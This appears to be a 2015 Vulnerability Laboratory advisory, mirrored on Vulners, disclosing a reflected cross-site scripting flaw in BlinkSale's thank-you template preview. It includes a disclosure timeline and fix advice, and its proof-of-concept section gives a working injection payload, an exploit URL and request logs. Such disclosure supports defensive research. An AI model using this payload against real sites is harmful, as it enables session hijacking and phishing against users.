Lucene search
K

BlinkSale Bug Bounty #2 - Cross Site Scripting Vulnerability

Client-side cross site scripting vulnerability in BlinkSale online service. Attackers inject malicious scripts to `Thank-you Templates` page, leading to session hijacking and phishing

Code
Document Title:
===============
BlinkSale Bug Bounty #2 - Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1448


Release Date:
=============
2015-09-28


Vulnerability Laboratory ID (VL-ID):
====================================
1448


Common Vulnerability Scoring System:
====================================
2.9


Product & Service Introduction:
===============================
We like to get paid. We’re sure you feel the same. So while you can use Blinksale and get paid by check, our integration
with Stripe* makes it easy to get paid in a flash. Just sign up at Stripe, put your credentials into Blinksale, and you’re
all set to accept credit card payments on your invoices!

(Copy of the Vendor Homepage: https://www.blinksale.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a client-side cross site scripting web vulnerability in the official BlinkSale online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-10:     Researcher Notification (Hadji Samir)
2015-03-11:     Vendor Notification (Blinksale Security Team)
2015-03-18:     Vendor Response/Feedback (Blinksale Security Team)
2015-09-20:     Vendor Fix/Patch  (Blinksale Developer Team)
2015-09-29:     Public Disclosure  (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A client-side cross site scripting web  vulnerability has been discovered in the official BlinkSale online-service web-application.
The issue allows remote attackers to inject own malicious web context on the application-side of a vulnerable module or function.

The security vulnerability is located in the template value of the `Thank-you Templates` page module. Remote attackers are able to 
inject client-side script codes to the template value parameter http request. Result is a client-side execution of malicious script codes.
The request method to inject and execute is GET and the issue is location on the client-side of the online service web-application.

The security risk of the client-side cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.9.
Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction. Successful exploitation of 
the encoding vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects and non-persistent manipulation of 
affected or connected module context.

Request Method(s):
			[+] GET

Vulnerable Module(s):
			[+] thankyou_preview?

Vulnerable Parameter(s):
			[+] thankyou1


Proof of Concept (PoC):
=======================
The client-side cross site vulnerability can be exploited by remote attackers without privileged application user account and with low or medium user interaction.
For security demonstration o to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. You do not need to register an account
2. Open up the main website and switch to the settings (account_info)
3. On the bottom you need to click the `'Thank-you Templates'
4. Click to any Thank-you Templates Preview link
https://samirpen.blinksale.com/thankyou_preview?template=thankyou1'" onerror=alert(document.cookie) aa><iframe src="x" >
5. Successful reproduce of the remote vulnerability!

PoC: Payload
'" onerror=alert(document.cookie) a><iframe src="x" >


PoC: Source (Execution)
<tr class="header">
        <td>
          <img src="https://hadjisa.blinksale.com/images/emails/thankyou/thankyou1'" onerror=alert(document.cookie) a><iframe src="x" >.gif" />
        </td>
      </tr>


--- PoC Session Logs [GET]
GET https://hadjisa.blinksale.com/thankyou_preview?template=thankyou1'" onerror=alert(document.cookie) a><iframe src="x" >  
Indicateurs chargement[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Taille contenu[944] Type Mime[text/html]
   En-tĂȘtes requĂȘte:
      Host[hadjisa.blinksale.com]
      User-Agent[Mozilla/5.0 (Windows NT 5.2; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Cookie[_ga=GA1.2.1712853414.1424003227; _bs1_session=BAh7DDoPc2Vzc2lvbl9pZC[...]
      Connection[keep-alive]
   En-tĂȘtes rĂ©ponse:
      Cache-Control[no-cache, no-store, must-revalidate, max-age=0, pre-check=0, post-check=0]
      Content-Encoding[gzip]
      Content-Type[text/html; charset=utf-8]
      Date[Wed, 04 Mar 2015 10:10:03 GMT]
      Pragma[no-cache]
      Server[nginx]
      Set-Cookie[_bs1_session=BAh7DDoPc2Vzc[...]
      status[200 OK]
      Strict-Transport-Security[max-age=631152000; includeSubdomains]
      x-content-type-options[nosniff]
      x-runtime[22]
      X-XSS-Protection[1; mode=block]
      Content-Length[944]
      Connection[keep-alive]


Reference(s):
https://hadjisa.blinksale.com/
https://samirpen.blinksale.com/thankyou_preview
https://samirpen.blinksale.com/thankyou_preview?template=thankyou1


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable templates value in the thankyou page module. 
Restrict the input and disallow special chars on the templates parameter input. Setup a secure exception to prevent client-side script code injection attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in that preview thanks page is estimated as medium. (CVSS 2.9)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir ([email protected])  [http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    [email protected] 	- [email protected] 	       		- [email protected]
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
([email protected] or [email protected]) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]ℱ



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation